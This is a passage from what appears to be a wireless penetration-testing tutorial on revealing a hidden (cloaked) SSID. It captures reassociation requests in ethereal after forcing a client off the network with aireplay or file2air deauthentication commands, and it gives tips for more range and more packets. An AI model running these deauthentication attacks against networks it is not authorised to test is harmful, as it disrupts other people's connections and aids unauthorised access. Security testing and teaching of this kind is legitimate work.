It is possible to use Kismet or Airodump to capture the packets in this
process BUT I have found that ethereal is this most consistent,
therefore I will only discuss the procedures for obtaining a cloaked
SSID using ethereal.
Start ethereal with the required filters preloaded
#start-ethereal
From the toolbar select Capture → Interfaces → wlan0 Prepare
In the filters box click the the down arrow and select:
wlan.fc.type_subtype= = 2
click the tick button to apply
Now deauthorise a connected client:
Use either:
#aireplay -0 50 -a <AP_MAC> -c <Client_MAC> wlan0
or
#file2air
-i wlan0 -r hostap -f /KNOPPIX/files/deauth.bin -c <channel> -n
5000 -d <Client_MAC> -b <BSSID> -s <AP_MAC>
If this fails to produce the reassociation request you will have to try one or more of the
following
Move closer to the target
Use a high gain antenna
Increase the number
after the -n from 5000
Try a different .bin file, such as beacon.bin